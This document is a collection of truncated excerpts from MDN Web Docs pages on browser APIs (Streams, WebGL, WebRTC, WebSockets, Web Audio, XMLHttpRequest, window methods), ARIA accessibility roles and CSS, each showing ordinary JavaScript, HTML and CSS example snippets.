Note: This article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts. If not, we suggest that you first read the Streams concepts and usage overview and dedicated Streams API concepts article, then come back. Note: If you are looking for information about readable streams, try Using readable streams instead. Browser support The Streams API is experimental, and support is at an early stage right now. Only Chrome currently has basic writable streams implemented. Introducing an example In our dom-examples/streams repo you'll find a Simple writer example (see it live also). ...
...nstructor; the syntax looks complex at first, but actually isn't too bad. The syntax skeleton looks like this: const stream = new WritableStream({ start(controller) { }, write(chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highWaterMark, size() }); The constructor takes two objects as parameters. The first object is required, and creates a model in
JavaScript of the underlying sink the data is being written to. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream, which takes the form of an instance of ByteLengthQueuingStrategy or CountQueuingStrategy. The first object can contain up to four members, all of which are optional: start(controller) -- A method that is called once, immediately after...
Streams API - Web APIs
The Streams API allows
JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Concepts and usage Streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. This is something browsers do anyway when receiving assets to be shown on webpages -- videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. But this has never been available to
JavaScript before. Previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after ...
...etimes you'll see images display gradually as more is loaded. But this has never been available to
JavaScript before. Previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received. With Streams being available to
JavaScript, this all changes -- you can now start processing raw data with
JavaScript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob. There are more advantages too -- you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at. The bas...
TextEncoder.prototype.encodeInto() - Web APIs
is TypedArray.prototype.subarray(). Observe. var encoder = new TextEncoder; function encodeIntoAtPosition(string, u8array, position) { return encoder.encodeInto(string, position ? u8array.subarray(position|0) : u8array); } var u8array = new Uint8Array(8); encodeIntoAtPosition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 Buffer Sizing To convert a
JavaScript string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes. If the output allocation (typically within Wasm heap) is expected to be short-lived, it makes sense to simply allocate s.length * 3 bytes for the output, in which case the first conversion attempt is guaranteed to convert the whole string. Note that the s.length * 3 i...
.... No Zero-Termination If the input string contains the character U+0000 in the input, encodeInto() will write a 0x00 byte in the output. encodeInto() does not write a C-style 0x00 sentinel byte after the logical output. If your Wasm program uses C strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your Wasm program from seeing a logically truncated string if the
JavaScript string contained U+0000. Observe: var encoder = new TextEncoder; function encodeIntoWithSentinel(string, u8array, position) { var stats = encoder.encodeInto(string, position ? u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room return stats; } Examples <p class="source">This is a sample paragraph.</p> <p cl...
Getting started with WebGL - Web APIs
WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background. This article will introduce you to the basics of using WebGL. ...
...ies, making it easier to build 3D applications and games, such as THREE.js and BABYLON.js. Preparing to render in 3D The first thing you need in order to use WebGL for rendering is a canvas. The HTML fragment below declares a canvas that our sample will draw into. <body> <canvas id="glCanvas" width="640" height="480"></canvas> </body> Preparing the WebGL context The main() function in our
JavaScript code, is called when our script is loaded. Its purpose is to set up the WebGL context and start rendering content. // // start here // function main() { const canvas = document.querySelector("#glCanvas"); // Initialize the GL context const gl = canvas.getContext("webgl"); // Only continue if WebGL is available and working if (gl === null) { alert("Unable to initialize WebGL. Your ...
WebGL tutorial - Web APIs
WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background. This tutorial describes how to use the <canvas> element to draw WebGL graphics, starting with the basics. ...
...und. This tutorial describes how to use the <canvas> element to draw WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with WebGL and will provide code snippets that may get you started in building your own content. Before you start Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and
JavaScript. The <canvas> element and WebGL are not supported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a
JavaScript context object, which creates graphics on the fly. In this tutorial Getting started with WebGL How to set up a WebGL context. Adding 2D content to a WebGL context How to render simple flat shapes us...
WebGL best practices - Web APIs
highlights dos and don'ts, but also details why. You can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run. General Topics Address and eliminate WebGL errors Your application should run without generating any WebGL errors (as returned by getError). Every WebGL error is reported in the Web Console as a
JavaScript warning with a descriptive message. After too many errors (32 in Firefox), WebGL stops generating descriptive messages, which really hinders debugging. The only errors a well-formed page generates are OUT_OF_MEMORY and CONTEXT_LOST. Know your limits (and extensions) The availability of most WebGL extensions depends on the client system. When using WebGL extensions, if possible, try to make the...
...esktop) WEBGL_compressed_texture_etc (mobile) WEBGL_compressed_texture_astc has both higher quality and/or higher compression, but is only supported on newer hardware. Basis Universal texture compression format/library Basis Universal solves several of the issues mentioned above. It offers a way to support all common compressed texture formats with a single compressed texture file, through a
JavaScript library that efficiently converts formats at load time. It also adds additional compression that makes Basis Universal compressed texture files much smaller than regular compressed textures over-the-wire, more comparable to JPEG. https://github.com/BinomialLLC/basis_universal/blob/master/webgl/README.md Memory usage of depth and stencil formats Depth and stencil attachments and formats are act...
Taking still photos with WebRTC - Web APIs
rol. The first panel on the left contains two components: a <video> element, which will receive the stream from WebRTC, and a <button> the user clicks to capture a video frame. <div class="camera"> <video id="video">Video stream not available.</video> <button id="startbutton">Take photo</button> </div> This is straightforward, and we'll see how it ties together when we get into the
JavaScript code. Next, we have a <canvas> element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file. This canvas is kept hidden by styling the canvas with display:none, to avoid cluttering up the screen -- the user does not need to see this intermediate stage. We also have an <img> element into which we will draw the image -- this ...
...rmediate stage. We also have an <img> element into which we will draw the image -- this is the final display shown to the user. <canvas id="canvas"> </canvas> <div class="output"> <img id="photo" alt="The screen capture will appear in this box."> </div> That's all of the relevant HTML. The rest is just some page layout fluff and a bit of text offering a link back to this page. The
JavaScript code Now let's take a look at the
JavaScript code. We'll break it up into a few bite-sized pieces to make it easier to explain. Initialization We start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using. (function() { var width = 320; // We will scale the photo width to this var height = 0; // This will ...
Writing WebSocket servers - Web APIs
pplication listening on any port of a TCP server that follows a specific protocol. The task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple WebSocket server on your platform of choice. A WebSocket server can be written in any server-side programming language that is capable of Berkeley sockets, such as C(++), Python, PHP, or server-side
JavaScript. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server. This article assumes you're already familiar with how HTTP works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a WebSoc...
..., read the next 4 octets (32 bits); this is the masking key. Once the payload length and masking key is decoded, you can read that number of bytes from the socket. Let's call the data ENCODED, and the key MASK. To get DECODED, loop through the octets (bytes a.k.a. characters for text data) of ENCODED and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid
JavaScript): var DECODED = ""; for (var i = 0; i < ENCODED.length; i++) { DECODED[i] = ENCODED[i] ^ MASK[i % 4]; } Now you can figure out what DECODED means depending on your application. Message Fragmentation The FIN and opcode fields work together to send a message split up into separate frames. This is called message fragmentation. Fragmentation is only available on opcodes 0x0 to 0x2. Recall t...
Starting up and shutting down a WebXR session - Web APIs
alongside the specification, and is kept up to date with the specification. Additionally, it is updated to maintain compatibility with browsers as their support for WebXR and other technologies related to it and to the implementation of the polyfill change over time. Be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer
JavaScript features your target browsers include. WebXR API Emulator extension The Mozilla WebXR team has created a WebXR API Emulator browser extension, compatible with both Firefox and Chrome, which emulates the WebXR API, simulating a variety of compatible devices such as the HTC Vive, the Oculus Go and Oculus Quest, Samsung Gear, and Google Cardboard. With the extension in place, you can open up a dev...
... the XR interface to XRSystem, introduce support for squeeze (grip) input sources, and add support for the XRInputSource property profiles. Context requirements A WebXR compatible environment starts with a securely-loaded document. Your document needs to either have been loaded from the local drive (such as by using an URL such as http://localhost/...), or using HTTPS when loading the page. The
JavaScript code must, likewise, have been loaded securely. If the document wasn't loaded securely, you won't get very far. The navigator.xr property doesn't even exist if the document wasn't loaded securely. This may also be the case if there simply is no compatible XR hardware available. Either way, you need to be prepared for the lack of an xr property and either gracefully handle the error or provide so...
Web Animations API Concepts - Web APIs
The Web Animations API (WAAPI) provides
JavaScript developers access to the browser's animation engine and describes how animations should be implemented across browsers. This article will introduce you to the important concepts behind the WAAPI, providing you with a theoretical understanding of how it works so you can use it effectively. To learn how to put the API to use, check out its sister article, Using the Web Animations API. The Web Animations API fills the gap between declarative CSS animations and transitions, and dynamic
JavaScript animations. This means we can use it to create and manipulate CSS-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs. History ...
...at your UI animations are running correctly. It opens up the browser's rendering engine for building animation development tools like timelines. It is also a performant base on which to build a custom or commercial animation library. (See Animating like you just don't care with Element.animate.) In some instances, it may negate the need for a fully fledged library entirely in the same way Vanilla
JavaScript can be used without jQuery for many purposes. Polyfill The Web Animation API has a polyfill that you can use today. ...
Advanced techniques: Creating and sequencing audio - Web APIs
e the BaseAudioContext.createPeriodicWave method to use this custom wave with an oscillator. The periodic wave First of all, we'll create our periodic wave. To do so, We need to pass real and imaginary values into the BaseAudioContext.createPeriodicWave() method.: let wave = audioCtx.createPeriodicWave(wavetable.real, wavetable.imag); Note: In our example the wavetable is held in a separate
JavaScript file (wavetable.js), because there are so many values. It is taken from a repository of wavetables, which can be found in the Web Audio API examples from Google Chrome Labs. The Oscillator Now we can create an OscillatorNode and set its wave to the one we've created: function playSweep() { let osc = audioCtx.createOscillator(); osc.setPeriodicWave(wave); osc.frequency.value = 4...
...elope has attack and release. ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
Setting up Let's start by looking at the global variable initialization. let context = null; let playButton = null; let volumeControl = null; let oscNode1 = null; let oscNode2 = null; let oscNode3 = null; let constantNode = null; let gainNode1 = null; let gainNode2 = null; let gainNode3 = null; let playing = false; These var...
..."Arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; }
JavaScript Now let's take a look at the
JavaScript code, a piece at a time. Setting up Let's start by looking at the global variable initialization. let context = null; let playButton = null; let volumeControl = null; let oscNode1 = null; let oscNode2 = null; let oscNode3 = null; let constantNode = null; let gainNode1 = null; let gainNode2 = null; let gainNode3 = null; let playing = false; These variables are: context The AudioContext ...
Example and tutorial: Simple synth keyboard - Web APIs
let audioContext = new (window.AudioContext || window.webkitAudioContext)(); let oscList = []; let masterGainNode = null; audioContext is set to reference the global AudioContext object (or webkitAudioContext if necessary). oscList is set up to be ready to contain a list of all currently-playing oscillators. It starts off em...
... let audioContext = new (window.AudioContext || window.webkitAudioContext)(); let oscList = []; let masterGainNode = null; audioContext is set to reference the global AudioContext object (or webkitAudioContext if necessary). oscList is set up to be ready to contain a list of all currently-playing oscillators. It starts off empty, since there...
Window.devicePixelRatio - Web APIs
ally low resolution displays or, more often, when a screen has a higher pixel depth than simply double the standard resolution of 96 or 76 DPI. Examples Correcting resolution in a <canvas> A <canvas> can appear too blurry on retina screens. Use window.devicePixelRatio to determine how much extra pixel density should be added to allow for a sharper image. HTML <canvas id="canvas"></canvas>
JavaScript var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); // Set display size (css pixels). var size = 200; canvas.style.width = size + "px"; canvas.style.height = size + "px"; // Set actual size in memory (scaled to account for extra pixel density). var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas. canvas.width = Math.floor(si...
...'; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; var x = size / 2; var y = size / 2; var textString = "I love MDN"; ctx.fillText(textString, x, y); Monitoring screen resolution or zoom level changes In this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of devicePixelRatio to handle any updates we need to.
JavaScript The
JavaScript code creates the media query that monitors the device resolution and checks the value of devicePixelRatio any time it changes. let pixelRatioBox = document.querySelector(".pixel-ratio"); let mqString = `(resolution: ${window.devicePixelRatio}dppx)`; const updatePixelRatio = () => { let pr = window.devicePixelRatio; let prString = (pr * 100).toFixed(0); pixelRatioBox.innerT...
window.dump() - Web APIs
window.dump() prints messages to the (native) console. Syntax window.dump(message); dump(message); Parameters message is the string message to log. Notes A common use of dump() is to debug
JavaScript. The message passed to dump() is sent to the System Console (Native Console) if the Firefox process was started with the -console option. If the -console option was not specified then the output goes to stderr. Output from dump() is not sent to the Browser Console. Output can be sent to the Browser Console using console.log(). ...
...nsole option. If the -console option was not specified then the output goes to stderr. Output from dump() is not sent to the Browser Console. Output can be sent to the Browser Console using console.log(). Privileged code can also use Components.utils.reportError and nsIConsoleService to log messages to the Error Console/Browser Console. dump() is also available to XPCOM components implemented in
JavaScript, even though window is not the global object in components. It is also explicitly made available in sandboxes. However, this use of dump is not affected by the preference mentioned below -- it will always be shown. It is therefore advisable to either check this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging content to a user's console w...
Window.getComputedStyle() - Web APIs
sidered valid, even though the pseudo-element itself is not supported. Examples In this example we style a <p> element, then retrieve those styles using getComputedStyle(), and print them into the text content of the <p>. ...
...type as the object returned from the element's style property. However, the two objects have different purposes: The object from getComputedStyle is read-only, and should be used to inspect the element's style -- including those set by a <style> element or an external stylesheet. The element.style object should be used to set styles on that element, or inspect styles directly added to it from
JavaScript manipulation or the global style attribute. The first argument must be an Element. non-elements, like a Text node, will throw an error. defaultView In many code samples, getComputedStyle is used from the document.defaultView object. In nearly all cases, this is needless, as getComputedStyle exists on the window object as well. It's likely the defaultView pattern was a combination of folks not...
Window.getSelection() - Web APIs
an <iframe> that is not displayed (eg. where display: none is set) Firefox will return null, whereas other browsers will return a Selection object with Selection.type set to None. Examples function foo() { var selObj = window.getSelection(); alert(selObj); var selRange = selObj.getRangeAt(0); // do stuff with the range } Notes String representation of the Selection object In
JavaScript, when an object is passed to a function expecting a string (like window.alert() or document.write()), the object's toString() method is called and the returned value is passed to the function. This can make the object appear to be a string when used with other functions when it is really an object with properties and methods. In the above example, selObj.toString() is automatically called when i...
...(like window.alert() or document.write()), the object's toString() method is called and the returned value is passed to the function. This can make the object appear to be a string when used with other functions when it is really an object with properties and methods. In the above example, selObj.toString() is automatically called when it is passed to window.alert(). However, attempting to use a
JavaScript String property or method such as length or substr directly on a Selection object will result in an error if it does not have that property or method and may return unexpected results if it does. To use a Selection object as a string, call its toString() method directly: var selectedText = selObj.toString(); selObj is a Selection object. selectedText is a string (Selected text). Related ob...
Window.openDialog() - Web APIs
window.openDialog() is an extension to window.open(). It behaves the same, except that it can optionally take one or more parameters past windowFeatures, and windowFeatures itself is treated a little differently. The optional parameters, if present, are bundled up in a
JavaScript Array object and added to the newly created window as a property named window.arguments. They may be referenced in the
JavaScript of the window at any time, including during the execution of a load handler. These parameters may be used, then, to pass arguments to and from the dialog window. The call to openDialog() returns immediately. If you want the call to block until the user has closed the dialog, supply modal as a windowFeatures parameter. Note that this also means the user won't be able to interact with ...
...o access these extra parameters from within dialog code, use the following scheme: var food = window.arguments[0]; var price = window.arguments[1]; Note that you can access this property from within anywhere in the dialog code. (Another example). Returning values from the dialog Since window.close() erases all properties associated with the dialog window (i.e. the variables specified in the
JavaScript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs). To be able to pass values back to the caller, you have to supply some object via the extra parameters. You can then access this object from within the dialog code and set properties on it, containing the values you want to return or preserve pas...
Window.pageYOffset - Web APIs
nce that's done, the vertical scroll position is checked by looking at the value of pageYOffset in the frame's contentWindow. HTML The HTML is extremely simple and has just two elements: an <iframe> that contains the document we're going to scroll, and a <div> into which we'll output the value of pageYOffset when we've finished the scroll. ...
...It then gets a reference to the element we want to scroll into view calling getElementById() on the frame's HTMLIFrameElement.contentDocument. ...
window.postMessage() - Web APIs
o provide a specific target discloses the data you send to any interested malicious site. transfer Optional Is a sequence of Transferable objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side. The dispatched event otherWindow can listen for dispatched messages by executing the following
JavaScript: window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } The properties of the dispatched message are: data The object passed from the other window. origin The origin of the window that sent the message at the time postMessage was called. This string is the concatenation of the ...
...ost names only, the value of the origin property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms. The value of the origin property when the sending window contains a
javascript: or data: URL is the origin of the script that loaded the URL. Using window.postMessage in extensions window.postMessage is available to
JavaScript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (The other properties have their expected values.) It is not possible for content or web c...
WindowOrWorkerGlobalScope.btoa() - Web APIs
containing the Base64 representation of stringToEncode. Exceptions InvalidCharacterError The string contained a character that did not fit in a single byte. See "Unicode strings" below for more detail. ...
...of stringToEncode. Exceptions InvalidCharacterError The string contained a character that did not fit in a single byte. See "Unicode strings" below for more detail. Example const encodedData = window.btoa('Hello, world'); // encode a string const decodedData = window.atob(encodedData); // decode the string Unicode strings The btoa() function takes a
JavaScript string as a parameter. In
JavaScript strings are represented using the UTF-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units. Every ASCII character fits into the first byte of one of these units, but many other characters don't. Base64, by design, expects binary data as its input. In terms of
JavaScript strings, this means strings in which each character occupies only one byte. ...
Sending and Receiving Binary Data - Web APIs
Possible values are the empty string (default), "arraybuffer", "blob", "document", "json", and "text". The response property will contain the entity body according to responseType, as an ArrayBuffer, Blob, Document, JSON, or string. This is null if the request is not complete or was not successful. This example reads an image as a binary file and creates an 8-bit unsigned integer array from the raw bytes. Note that this will not decode the image and read the pixels. You will need a png decoding library for that. ...
...on-the-fly and uses the POST method to send the "file" to the server. This example uses plain text, but you can imagine the data being a binary file instead. var oReq = new XMLHttpRequest(); oReq.open("POST", url, true); oReq.onload = function (oEvent) { // Uploaded. }; var blob = new Blob(['abc123'], {type: 'text/plain'}); oReq.send(blob); Sending typed arrays as binary data You can send
JavaScript typed arrays as binary data as well. var myArray = new ArrayBuffer(512); var longInt8View = new Uint8Array(myArray); // generate some data for (var i=0; i< longInt8View.length; i++) { longInt8View[i] = i % 256; } var xhr = new XMLHttpRequest; xhr.open("POST", url, false); xhr.send(myArray); This is building a 512-byte array of 8-bit integers and sending it; you can use any binary data you'...
Using XMLHttpRequest - Web APIs
line. The second line. -----------------------------314911788813839-- However, if you are using the GET method, a string like the following will be simply added to the URL: ?foo=bar&baz=The%20first%20line.%0AThe%20second%20line. A little vanilla framework All these effects are done automatically by the web browser whenever you submit a <form>. If you want to perform the same effects using
JavaScript you have to instruct the interpreter about everything. Therefore, how to send forms in pure AJAX is too complex to be explained here in detail. For this reason, here we place a complete (yet didactic) framework, able to use all four ways to submit, and to upload files: <!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Sending forms with p...
...ything. Therefore, how to send forms in pure AJAX is too complex to be explained here in detail. ...
XMLHttpRequest.responseType - Web APIs
he author should make sure that the server is actually sending a response compatible with that format. If the server returns data that is not compatible with the responseType that was set, the value of response will be null. The values supported by responseType are the following: "" An empty responseType string is treated the same as "text", the default type. ...
... text The response is a text in a DOMString object. ms-stream The response is part of a streaming download; this response type is only allowed for download requests, and is only supported by Internet Explorer. ...
Using the link role - Accessibility
"Activate Link" or "Move to Link", should perform the same as they do with ordinary links. Screen magnifiers may enlarge links. Note: Opinons may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative. Examples This example shows how to implement a fake link using a <span> element. This includes
JavaScript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, CSS to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology. This is a huge amount of work just to recreate something you've get for free using the <a> element, so you...
...e.target : e.srcElement; if (ref) { window.open(ref.getAttribute('data-href'), '_blank'); } } } spanElem.addEventListener('click', navigateLink); spanElem.addEv...
ARIA: timer role - Accessibility
uctions for navigating or operating this element. aria-roledescription Used to give the timer a more descriptive role text for screen readers to speak. This should be localized. Keyboard interactions Keyboard interaction is XXX. Focus is being managed via XXX. The tab , Space and Enter keys, as well as Escape , must be handled by the application. The one exception is if focus XXX. Required
JavaScript features keyPress Used to handle keyboard input and control the focus Click, Touch Handle as appropriate for your widget as well Changing attribute values aria-activedescendant is used to manage the focus inside the application container. Set in response to keyboard or other application events that change focus or point of interaction. The timer role does not have a related HTML widget...
...tes, e-commerce sites, and event countdowns (see https://countingdownto.com/). As an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content. ...
ARIA: banner role - Accessibility
t each page should be limited to only one header with the role of banner. In the case of a page containing nested document and/or application roles, each nested document or application role may also have one banner landmark. If a page includes more than one banner landmark, each should have a unique label. Associated ARIA roles, states, and properties None Keyboard interactions None Required
JavaScript features None Examples Here's a fake simple banner with a skip to navigation link, a logo, a title and a subtitle. As this is the main header for the site, we've added the banner landmark role to the container element. <div role="banner"> <a href="#nav" id="skipToMenu" class="skiptocontent">Skip To Keyboard Navigation</a> <img src="images/w3c.png" alt="W3C Logo"> <h1>ARIA Landmarks</h1>...
...src="images/w3c.png" alt="W3C Logo"> <h1>ARIA Landmarks</h1> <p>Identifying page subsections for easy navigation</p> </header> Best practices While it is best to use the header element and ensure it is not a descendant of any subsection of the page, sometimes you don't have access to the underlying HTML. If this is the case, you can add the role of banner to the main header of the page with
JavaScript. Identifying the page's banner in this way will help improve the site's accessibility. Specifications Specification Status Accessible Rich Internet Applications (WAI-ARIA) 1.1The definition of 'ARIA: banner role' in that specification. Recommendation WAI-ARIA Authoring PracticesThe definition of 'Banner landmark role' in that specification. Working Draft ...
ARIA: figure role - Accessibility
taining reference text serving as a caption. aria-labelledby The id of an element containing text serving as a label. aria-label If there is no element containing text that could serve as a label, you can add the label directly as a value on the aria-label on the element with the figure role or on the <figure> element. Keyboard interactions No role specific keyboard interactions. Required
JavaScript features No role specific
JavaScript requirements. If you don't have control over the HTML semantics, you can improve the accessibility of HTML by adding these roles and properties with
JavaScript. Examples We could extend the initial example on the page to also identify a paragraph that provides a descriptive label for the figure by referencing its ID in aria-labelledby: <div role="figure" a...
...ty order -- music, cats, nature, and ice cream"> <pre><code> let awesome = ['music', 'cats', 'nature', 'ice cream']; </code></pre> <p id="figure-1">Figure 1: The four layers of awesome.</p> </div> Best practices Only use role="figure" if you have to -- for example if you don't have control over your HTML but are able to improve accessibility dynamically after the fact with
JavaScript. If at all possible, you should use the appropriate semantic HTML elements to mark up a figure and its caption -- <figure> and <figcaption>. For example, our above example should be rewritten as follows: <figure> <img src="diagram.png" alt="diagram showing the four layers of awesome and their relative priority order -- music, cats, nature, and ice cream"> <pre><code> let a...
ARIA: grid role - Accessibility
serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } }
JavaScript var selectables = document.querySelectorAll('table td[role="gridcell"]'); selectables[0].setAttribute('tabindex', 0); var trs = document.querySelectorAll('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; Array.prototype.forEach.call(trs, function(gridrow, i){ Array.prototype.forEach.call(gridrow.querySelectorAll('td'), function(el, i){ el.dataset.
...dy> </table> CSS table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; }
JavaScript var selectables = document.querySelectorAll('table td[role="gridcell"]'); selectables[0].setAttribute('tabindex', 0); var trs = document.querySelectorAll('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; Array.prototype.forEach.call(trs, function(gridrow, i){ Array.prototype.forEach.call(gridrow.querySelectorAll('td'), function(el, i){ el.dataset.
ARIA: switch role - Accessibility
the switch role, and is treated as false. The default value is false. aria-readonly attribute The aria-readonly attribute is supported by the switch role. It indicates whether the widget's state is editable by the user. A value of false means that the user can change the widget's state; a value of true means that the user cannot change the widget's state. The default value is false. Required
JavaScript features Handler for click events When the user clicks on the switch widget, a click event is fired, which must be handled in order to change the state of the widget. Changing the aria-checked attribute When a click event is fired on the switch widget, the handler must change the value of the aria-checked attribute from true to false, or vice versa. Possible effects on user agents and ass...
...is initially checked courtesy of its aria-checked attribute being set to "true". The switch has two child elements containing the "off" and "on" labels and is followed by a <label> identifying the switch. <button role="switch" aria-checked="true" id="speakerPower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerPower" class="switch">Speaker power</label>
JavaScript This
JavaScript code defines and applies a function to handle click events on switch widgets. The function changes the aria-checked attribute from true to false, or vice versa. document.querySelectorAll(".switch").forEach(function(theSwitch) { theSwitch.addEventListener("click", handleClickEvent, false); }); function handleClickEvent(evt) { let el = evt.target; if (el.getAttribute("aria...
ARIA: textbox role - Accessibility
<label for="txtbox">Enter your five-digit zipcode</label> <input type="text" placeholder="5-digit zipcode" id="txtbox"/> <!-- Multi-line text area --> <label for="txtboxMultiline">Enter the tags for the article</label> <textarea id="txtboxMultiline" required></textarea> Where a text field is read-only, indicated this by setting aria-readonly="true" on the elem...
... a value must be provided for the field before it is submitted. Instead of using aria-required, use the semantic <input type="text"> or <textarea> with a required attribute. Keyboard interactions In a single-line use (when aria-multiline is false or not used), the Return or Enter key submits the form. In a multi-line use (when aria-multiline is true), Return or Enter key inserts a line break.
JavaScript features All features associated with any and all properties and states must be maintained, and forms submission on enter or return on a single line textbox needs to be handled. Focus event handler and aria-activedescendent attribute If you are implementing a composite widget, such as a combobox composed of a text box and a listbox, you need to manage the aria-activedescendent attribute usin...
Basic form hints - Accessibility
WAI-ARIA, the Accessible Rich Internet Applications specification from the W3C's Web Accessibility Initiative, provides the aria-labelledby attribute for these cases. The example below shows a radio button group implemented using an unordered list. Note that on line 3, the <ul> element sets the aria-labelledby attribute to rg1_label, the id of the <h3> element on...
... applied, to indicate to an AT which data fields have incorrect data, so that the user knows they have entered invalid data. The example below shows a simple form with three fields. On lines 4 and 12, the aria-required attributes are set to true (in addition to the asterisks next to the labels), indicating that the name and email fields are required. The second part of the example, a snippet of
JavaScript validates the email format, and sets the aria-invalid attribute of the email field (line 12 of the HTML) according to the result (in addition to changing the presentation of the element). <form> <div> <label for="name">* Name:</label> <input type="text" value="name" id="name" aria-required="true"/> </div> <div> <label for="phone">Phone:</label> <input type="text" value="pho...
Web accessibility for seizures and physical reactions - Accessibility
essibile for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions. Overview Seizures Seizures caused by light are known as photosensitive epilepsy. Content that flickers, flashes, or blinks can trigger photosensitive epilepsy. Web technologies that use video, animated gifs, animated pngs, animated SVGs, Canvas, and CSS or
JavaScript animations are all capable of content that can induce seizures or other incapacitating physical reactions. Certain visual patterns, especially stripes, can also cause physical reactions even though they are not animated. Photosensitive epilepsy is actually a kind of "reflex epilepsy"--seizures occurring in response to a trigger. In the case of photosensitive epilepsy, seizures are triggered speci...
...triggered by content that flashes at certain frequencies for more than a few flashes" and goes on to note, very specifically that: "People are even more sensitive to red flashing than to other colors, so a special test is provided for saturated red flashing". You don't even need an image or video to cause harm. A <div> element set to change color and luminosity at high frequency, easily done via
JavaScript, can cause real harm. And, flickering can occur everywhere. For example, "spinners" commonly used to display while pages load, can easily "flicker" while spinning. Additional concerns exist for individuals with motor-skills problems. For example, the page for Trace Research & Development Center's Photosensitive Epilepsy Analysis Tool notes that "Photosensitive seizures can be provoked by certain...
Understandable - Accessibility
nform to the criteria Practical resource 3.3.1 Error Identification (A) When a user is filling out a form or choosing between options, any error that is detected should be clearly reported to the user, along with the form control that the error relates to. It is advisable to implement client-side error detection and handling, via HTML5 form validation features, and/or
JavaScript, whatever is best for your situation. When an error is detected, an intuitive error message should be shown next to the form input that is at fault to help the user correct their inputs. For screenreader users, you can use aria live regions to alert the user to a change on the page. Note: Server-side validation should *always* be used alongside client-side validation. Client-side valida...
... correction are known, provide these to the user (e.g. suggesting alternatives when the user is choosing a user name and has selected one that is already taken), unless doing so would cause a security issue (e.g. when entering a password) or context problem (e.g. they are trying to answer a question in a quiz app). In such cases, when this is appropriate, you'll probably use a combination of
JavaScript and server-side functionality to check if the entry is correct, and if not, what viable suggestions can be given to the user. Such suggestions should be displayed usefully in context, just like error messages (see 3.3.1). No tutorial suggestions yet. 3.3.4 Error Prevention (Legal, Financial, Data) (AA) In the case of forms involved with entry of sensitive data (such as leg...
:disabled - CSS: Cascading Style Sheets
CSS pseudo-class represents any disabled element. An element is disabled if it can't be activated (selected, clicked on, typed into, etc.) or accept focus. The element also has an enabled state, in which it can be activated or accept focus. /* Selects any disabled <input> */ input:disabled { background: #ccc; } Syntax :disabled Examples This example shows a basic shipping form. It uses the
